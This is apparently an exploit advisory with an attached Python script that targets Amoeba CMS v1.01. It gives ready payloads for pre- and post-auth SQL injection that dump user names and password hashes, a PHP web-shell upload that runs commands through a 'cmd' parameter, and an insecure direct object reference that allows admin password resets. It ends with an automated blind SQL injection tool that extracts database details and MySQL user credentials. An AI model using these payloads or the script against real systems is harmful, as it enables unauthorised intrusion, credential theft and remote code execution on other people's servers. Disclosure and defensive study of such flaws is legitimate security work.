"""
Amoeba CMS v1.01 multiple remote vulnerabilities:
Vendor: http://www.amoebacms.com/
Found by: mr_me
Contact date: 20/12/2010 2:37pm EST
SQL Injection:
=============
There is quite a few instances of pre/post auth SQL Injection in the web application. In one particular SQLi the attacker
controlled input is being used for multiple queries, and as such seems to fail on the second query when using the _ character.
This character is used as a wildcard in the second query as per the MySql manual. Therefore stealing data from the 'amb_users'
table may prove difficult. Additionaly, order by SQL Injection is present, which doubles the fun :0)
Pre-auth SQL Injection PoC (refer below to an automated working PoC):
---------------------------------------------------------------------
http://[target]/[path]/index.php?mod=cat&com=news&cpID=1+or+1=1 << true
http://[target]/[path]/index.php?mod=cat&com=news&cpID=1+or+1=2 << false
Post-auth SQL Injection PoCs:
-----------------------------
These will require the attacker to obtain access to the backend somehow.
Only one cookie is needed to reach this backend (ambid).
PoC 1:
------
POST /[PATH]/admin/index.php?mod=group&com=menu HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: ambid=5i5nrbl5d09f3ktqkh7sfe1s94
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
pageingsize=1+uNiOn+sEleCt+1,coNcAt(user_name,0x3a,users_password),3+from+amb_users--
PoC 2:
------
http://[target]/[path]/admin/index.php?mod=cat&com=gallery&cpID=1+or+1=1 << true
http://[target]/[path]/admin/index.php?mod=cat&com=gallery&cpID=1+or+1=2 << false
Shell Upload Vulnerability:
==========================
Interestingly enough, this application uses a whitelist extension approach which is stored in the database (amb_media_type)!
Unfortunately/fortunately they still allow a '.whateva' extension in the filename, as long as it doesnt end in an extension
that is not on the whitelist. As a fatality the attacker can upload content with 'malicious' code inside and 'get a shell'
by using an Apache AddType directive. Once the request is made, the application will re-write the file to the original/ dir
using the php time() added into its name. See below:
PoC:
----
POST /webapps/amoeba2/admin/index.php?mod=manip&com=media&mediaType=IMAGE&name=lol.php.jpg HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: ambid=5pk8u31pobv3qr0tci03o7tog5
Content-Type: application/octet-stream
Content-Length: 31
<?PHP system($_GET['cmd']); ?>
Server Response:
----------------
{"jsonrpc" : "2.0", "result" : null, "chunk" : "0", "chunks" : "0", "name" : "lol.php-1293423431.jpg", "id" : "id"}
Then we can access our shell at:
http://[target]/[path]/media/original/lol.php-1293423431.jpg?cmd=id
Logic Flaws:
===========
Password disclosure & password reset:
--------------------
Password hash disclosure in the admin console. Just change uID to whateva your current uID once you have stolen the admin cookie.
Additionaly you can reset the admins password, without actually knowing the password. o_O Suprise surpise, its the same link:
PoC:
---
http://[target]/[path]/admin/index.php?mod=list&com=user&uID=2&action=edit
"""
import sys, urllib, re
from optparse import OptionParser
lower_value = 0
upper_value = 126
vuluri = "index.php?mod=cat&com=news&cpID=1"
basicInfo = {'version':'version()', 'user':'user()', 'name':'database()'}
usage = "./%prog [<options>] -s [true string] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -s 'Author:' -t 192.168.2.15 -d /amoeba/"
parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="directory",
help="Directory path to the CMS")
parser.add_option("-s", type="string", action="store", dest="trueStr",
help="String that is on the 'true' page (used with the -b option)")
(options, args) = parser.parse_args()
def banner():
print "\n\t| --------------------------------------------- |"
print "\t| Amoeba CMS Remote Blind SQL Injection Exploit |"
print "\t| by mr_me - net-ninja.net -------------------- |\n"
if len(sys.argv) < 5:
banner()
parser.print_help()
sys.exit(1)
def setTargetHTTP():
if options.target[0:7] != 'http://':
options.target = "http://" + options.target
return options.target
def getProxy():
try:
proxy = {'http': "http://"+options.proxy}
opener = urllib.FancyURLopener(proxy)
except(socket.timeout):
print "\n(-) Proxy Timed Out"
sys.exit(1)
except(),msg:
print "\n(-) Proxy Failed"
sys.exit(1)
return opener
def getServerResponse(exploit):
if options.proxy:
try:
options.target = setTargetHTTP()
opener = getProxy()
check = opener.open(options.target+options.directory+exploit).read()
except urllib.error.HTTPError, error:
check = error.read()
except socket.error:
print "(-) Proxy connection failed"
sys.exit(1)
else:
try:
check = urllib.urlopen(options.target+options.directory+exploit).read()
except urllib.error.HTTPError, error:
check = error.read()
except urllib.error.URLError:
print "(-) Target connection failed, check your address"
sys.exit(1)
return check
def getAsciiValue(URI):
lower = lower_value
upper = upper_value
while lower < upper:
try:
mid = (lower + upper) / 2
head_URI = URI + ">"+str(mid)
result = getServerResponse(head_URI)
match = re.findall(options.trueStr,result)
if len(match) >= 1:
lower = mid + 1
else:
upper = mid
except (KeyboardInterrupt, SystemExit):
raise
except:
pass
if lower > lower_value and lower < upper_value:
value = lower
else:
head_URI = URI + "="+str(lower)
result = getServerResponse(head_URI)
match = re.findall(options.trueStr,result)
if len(match) >= 1:
value = lower
else:
print "(-) READ xprog's blind sql tutorial!\n"
sys.exit(1)
return value
def doBlindSqlInjection():
print "(+) Using string '%s' for the true page" % (options.trueStr)
print "(+) This will take time, go grab a coffee.."
for key in basicInfo:
sys.stdout.write("\n(!) Getting database %s: " % (key))
sys.stdout.flush()
for i in range(1,100):
request = (vuluri+"+or+ascii(substring(%s,%s,1))" % (basicInfo[key],str(i)))
asciival = getAsciiValue(request)
if asciival != 0:
sys.stdout.write("%s" % (chr(asciival)))
sys.stdout.flush()
else:
break
isMysqlUser = (vuluri+"+or+(select 1 from mysql.user limit 0,1)=1")
result = getServerResponse(isMysqlUser)
match = re.findall(options.trueStr,result)
if len(match) >= 1:
print "\n(!) w00t! You have access to MySQL database!"
print "(+) Dumping hashs hold onto your knickers.."
sys.stdout.write("(+) The username and hashed password is: ")
sys.stdout.flush()
for k in range(1,100):
getMysqlUserAndPass = (vuluri+"+or+ascii(substring((SELECT+concat(user,0x3a,password)+from+"
"mysql.user+limit+0,1),%s,1))" % str(k))
asciival = getAsciiValue(getMysqlUserAndPass)
if asciival != 0:
sys.stdout.write("%s" % (chr(asciival)))
sys.stdout.flush()
else:
break
else:
print "\n(-) You do not have access to MySQL database"
if __name__ == "__main__":
banner()
options.target = setTargetHTTP()
print "(+) Exploiting target @: %s" % (options.target+options.directory)
if options.proxy:
print "(+) Testing Proxy @ %s.." % (options.proxy)
opener = getProxy()
try:
check = opener.open("http://www.google.com").read()
except:
check = 0
pass
if check >= 1:
print "(+) Proxy is working!"
else:
print "(-) Proxy failed, exiting.."
sys.exit(1)
doBlindSqlInjection()
print "\n(+) PoC finished."
